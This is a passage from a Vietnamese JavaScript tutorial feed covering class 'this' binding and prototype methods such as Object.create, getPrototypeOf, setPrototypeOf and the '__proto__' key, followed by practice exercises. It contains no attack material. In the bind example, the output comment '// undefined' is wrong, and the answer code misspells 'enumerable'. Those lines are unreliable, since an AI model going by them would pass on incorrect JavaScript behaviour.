function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> button<span class="token punctuation">.</span><span class="token function">click</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Khi đó, đối tượng gọi hàm <code>click</code> vẫn là <code>button</code>. Vì vậy, kết quả hiển thị vẫn chính xác.</p> <p>► <strong>Cách 2:</strong> Sử dụng arrow function khi định nghĩa hàm <code>click</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Button</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"> <span class="token function-variable function">click</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token keyword">let</span> button <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Button</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token function">setTimeout</span><span class="token punctuation">(</span>button<span class="token punctuation">.</span>click<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello</span></span></code></pre></div> <p>Vì arrow function <strong>không có <code>this</code></strong> nên khi hàm <code>click</code> được gọi, <code>this</code> sẽ được lấy ở ngữ cảnh bên ngoài hàm - đó chính là đối tượng <code>button</code>.</p> <p>► <strong>Cách 3:</strong> bind phương thức <code>click</code> cho đối tượng trong hàm khởi tạo.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Button</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">=</span> value<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">this</span><span class="token punctuation">.</span>click <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">click</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span> <span class="token function">click</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> button <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Button</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>button<span class="token punctuation">.</span>click<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Với cách này, giá trị của <code>this</code> bên trong phương thức <code>click</code> luôn là đối tượng <code>button</code>.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Cú pháp cơ bản của class trong JavaScript như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">MyClass</span> <span class="token punctuation">{</span> prop <span class="token operator">=</span> value<span class="token punctuation">;</span> <span class="token comment">// thuộc tính</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// hàm khởi tạo</span> <span class="token comment">// ...</span> <span class="token punctuation">}</span> <span class="token function">method</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// phương thức</span> <span class="token keyword">get</span> <span class="token function">something</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// phương thức getter</span> <span class="token keyword">set</span> <span class="token function">something</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// phương thức setter</span> <span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>iterator<span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// phương thức với tên được tính toán qua biểu thức</span> <span class="token comment">// ...</span> <span class="token punctuation">}</span></code></pre></div> <p><code>MyClass</code> thực chất là một hàm với nội dung của hàm lấy từ <code>constructor</code> và các phương thức, getter/setter được viết trong <code>MyClass.prototype</code>.</p> <p>Trong các bài viết sau, mình sẽ tìm hiểu nhiều hơn về class, bao gồm tính kế thừa và các tính chất khác của lập trình hướng đối tượng.</p> <p>Tham khảo: <a href="https://javascript.info/class">Class basic syntax</a></p>[email protected]<![CDATA[Các phương thức với prototype trong JavaScript]]><![CDATA[Trong bài viết Prototype là gì? Prototype trong JavaScript, mình nói rằng __proto__ đã lỗi thời và bạn nên dùng các phương thức Object.getPrototypeOf và Object.setPrototypeOf để…]]>https://completejavascript.com/phuong-thuc-voi-prototype-trong-javascript/https://completejavascript.com/phuong-thuc-voi-prototype-trong-javascript/<![CDATA[Prototype]]>Tue, 27 Jun 2017 20:00:00 GMT<p>Trong bài viết <a href="/prototype-la-gi-prototype-trong-javascript/">Prototype là gì? Prototype trong JavaScript</a>, mình nói rằng <code>__proto__</code> đã lỗi thời và bạn nên dùng các phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf">Object.getPrototypeOf</a> và <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf">Object.setPrototypeOf</a> để thay thế.</p> <p>Vì vậy, bài viết này mình sẽ tập trung vào tìm hiểu về các phương thức với prototype trong JavaScript.</p> <h2 id="phương-thức-của-prototype" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-c%E1%BB%A7a-prototype" aria-label="phương thức của prototype permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức của prototype</h2> <p>Các phương thức của prototype trong JavaScript bao gồm:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create(proto, [descriptors])</a>: tạo một object rỗng với giá trị của <code>[[Prototype]]</code> là <code>proto</code> và đối tượng mô tả thuộc tính là <code>descriptors</code>.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf">Object.getPrototypeOf(obj)</a>: trả về <code>[[Prototype]]</code> của object.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf">Object.setPrototypeOf(obj, proto)</a>: gán giá trị <code>proto</code> cho <code>[[Prototype]]</code> của object.</li> </ul> <p>Ví dụ về các phương thức của prototype:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// tạo đối tượng với với prototype là animal</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> rabbit <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span>animal<span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>eats<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">getPrototypeOf</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">)</span> <span class="token operator">===</span> animal<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></span> <span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">setPrototypeOf</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// thay đổi prototype của rabbit thành {}</span></span></code></pre></div> <p>Đối tượng mô tả thuộc tính <code>descriptors</code> giống như mình đã giới thiệu trong bài viết về <a href="/writable-enumerable-configurable-object-trong-javascript/">writable, enumerable và configurable</a>.</p> <p>Bạn có thể sử dụng <code>Object.create</code> để <a href="/copy-object-trong-javascript/">clone object</a> thay vì cách sử dụng vòng lặp <code>for...in</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> clone <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span> Object<span class="token punctuation">.</span><span class="token function">getPrototypeOf</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">,</span> Object<span class="token punctuation">.</span><span class="token function">getOwnPropertyDescriptors</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Câu lệnh trên <strong>copy object một cách hoàn toàn</strong>, bao gồm tất cả các thuộc tính (enumerable và non-enumberable), getters/setters,... với giá trị chính xác của <code>[[Prototype]]</code>.</p> <h2 id="object-thuần" style="position:relative;"><a href="#object-thu%E1%BA%A7n" aria-label="object thuần permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Object thuần</h2> <p>Như bạn đã biết, <strong>object thuần</strong> thường dùng để lưu các cặp <strong>key-value</strong>, với key là <strong>string</strong> hoặc <a href="/tim-hieu-ve-symbol-trong-javascript/"><strong>symbol</strong></a>. Và một điều thú vị, <strong>key</strong> có thể là bất kỳ string nào, ngoại trừ <code>"__proto__"</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> key <span class="token operator">=</span> <span class="token string">"__proto__"</span><span class="token punctuation">;</span> obj<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"some value"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "[object Object]" không phải "some value".</span></code></pre></div> <p>Trong ví dụ trên, mình muốn lưu trữ cặp key-value với giá trị của key là <code>"__proto__"</code>. Tuy nhiên, key này bị <strong>bỏ qua</strong>. Bởi vì, <code>"__proto__"</code> là một thuộc tính đặc biệt có giá trị <code>null</code> hoặc một <strong>object</strong>.</p> <p><strong>Làm sao để giải quyết vấn đề này?</strong></p> <p>► <strong>Cách 1</strong>: bạn có thể chuyển qua sử dụng <a href="/map-trong-javascript-thi-sao/">Map</a> thay vì sử dụng object thuần như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token keyword">let</span> key <span class="token operator">=</span> <span class="token string">"__proto__"</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">obj<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> <span class="token string">"some value"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "some value"</span></span></code></pre></div> <p>► <strong>Cách 2</strong>: sử dụng <code>Object.create(null)</code>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> obj <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token keyword">let</span> key <span class="token operator">=</span> <span class="token string">"__proto__"</span><span class="token punctuation">;</span> obj<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"some value"</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "some value"</span></span></code></pre></div> <p>Bởi vì, <code>__proto__</code> không phải một thuộc tính trong object, mà chỉ là <strong>getter/setter</strong> cho <code>[[Prototype]]</code>.</p> <p>Khi gọi <code>Object.create(null)</code>, thực chất là bạn đang tạo một object không có <code>[[Prototype]]</code>. Do đó, <code>__proto__</code> cũng không trở thành <strong>getter/setter</strong>.</p> <p>Vì vậy, <code>__proto__</code> có thể trở thành <strong>thuộc tính bình thường</strong> trong object như cách làm trên.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Các phương thức với prototype trong JavaScript là:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create(proto, [descriptors])</a>: tạo một object rỗng với giá trị của <code>[[Prototype]]</code> là <code>proto</code> và đối tượng mô tả thuộc tính là <code>descriptors</code>.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf">Object.getPrototypeOf(obj)</a>: trả về <code>[[Prototype]]</code> của object.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf">Object.setPrototypeOf(obj, proto)</a>: gán giá trị <code>proto</code> cho <code>[[Prototype]]</code> của object.</li> </ul> <p><code>__proto__</code> thực chất là <strong>getter/setter</strong> của <code>[[Prototype]]</code> trong object. Vì vậy, bạn không thể lưu <strong>key-value</strong> với giá trị của key là <code>__proto__</code>.</p> <p>Để giải quyết vấn đề trên, bạn có thể sử dụng <strong>Map</strong> thay vì object thuần, hoặc dùng <code>Object.create(null)</code> để tạo ra object không có prototype.</p> <p>Ngoài ra, <code>Object.create</code> còn được dùng để <strong>clone object</strong> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> clone <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span> Object<span class="token punctuation">.</span><span class="token function">getPrototypeOf</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">,</span> Object<span class="token punctuation">.</span><span class="token function">getOwnPropertyDescriptors</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Các phương thức hữu ích khác:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys(obj)</a>: trả về mảng các <strong>enumerable key</strong> trong object.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/values">Object.values(obj)</a>: trả về mảng các <strong>enumerable value</strong> trong object.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/entries">Object.entries(obj)</a>: trả về mảng các <strong>enumerable key-value</strong> trong object.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">Object.getOwnPropertySymbols(obj)</a>: trả về mảng tất cả các <strong>key kiểu symbol</strong> trong object.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">Object.getOwnPropertyNames(obj)</a>: trả về mảng tất cả các <strong>key kiểu string</strong> trong object.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys">Reflect.ownKeys(obj)</a>: trả về mảng tất cả các <strong>key</strong> trong object.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">obj.hasOwnProperty(key)</a>: trả về <code>true</code> nếu <code>obj</code> chứa <code>key</code> (không phải qua kế thừa prototype).</li> </ul> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Cho đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> dictionary <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Thêm phương thức toString vào dictionary tại đây</span> <span class="token comment">// thêm data vào dictionary</span> dictionary<span class="token punctuation">.</span>apple <span class="token operator">=</span> <span class="token string">"Apple"</span><span class="token punctuation">;</span> dictionary<span class="token punctuation">.</span>__proto__ <span class="token operator">=</span> <span class="token string">"test"</span><span class="token punctuation">;</span> <span class="token comment">// __proto__ là một thuộc tính thường</span> <span class="token comment">// chỉ apple và __proto__ xuất hiện trong vòng lặp</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> dictionary<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "apple" rồi đến "__proto__"</span> <span class="token punctuation">}</span> <span class="token comment">// gọi dictionary.toString()</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>dictionary<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "apple,__proto__"</span></code></pre></div> <p>Hãy thêm phương thức <code>toString</code> vào <code>dictionary</code> để thỏa mãn đoạn code trên?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> dictionary <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token comment">// Thêm phương thức toString vào dictionary tại đây</span></span><span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>dictionary<span class="token punctuation">,</span> <span class="token string">"toString"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token function-variable function">value</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">","</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">enumberable</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token comment">// thêm data vào dictionary</span> dictionary<span class="token punctuation">.</span>apple <span class="token operator">=</span> <span class="token string">"Apple"</span><span class="token punctuation">;</span> dictionary<span class="token punctuation">.</span>__proto__ <span class="token operator">=</span> <span class="token string">"test"</span><span class="token punctuation">;</span> <span class="token comment">// __proto__ là một thuộc tính thường</span> <span class="token comment">// chỉ apple và __proto__ xuất hiện trong vòng lặp</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> dictionary<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "apple" rồi đến "__proto__"</span> <span class="token punctuation">}</span> <span class="token comment">// gọi dictionary.toString()</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>dictionary<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "apple,__proto__"</span></code></pre></div> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Cho đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"Rabbit"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Các câu lệnh sau có giống nhau hay không?</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">rabbit<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token 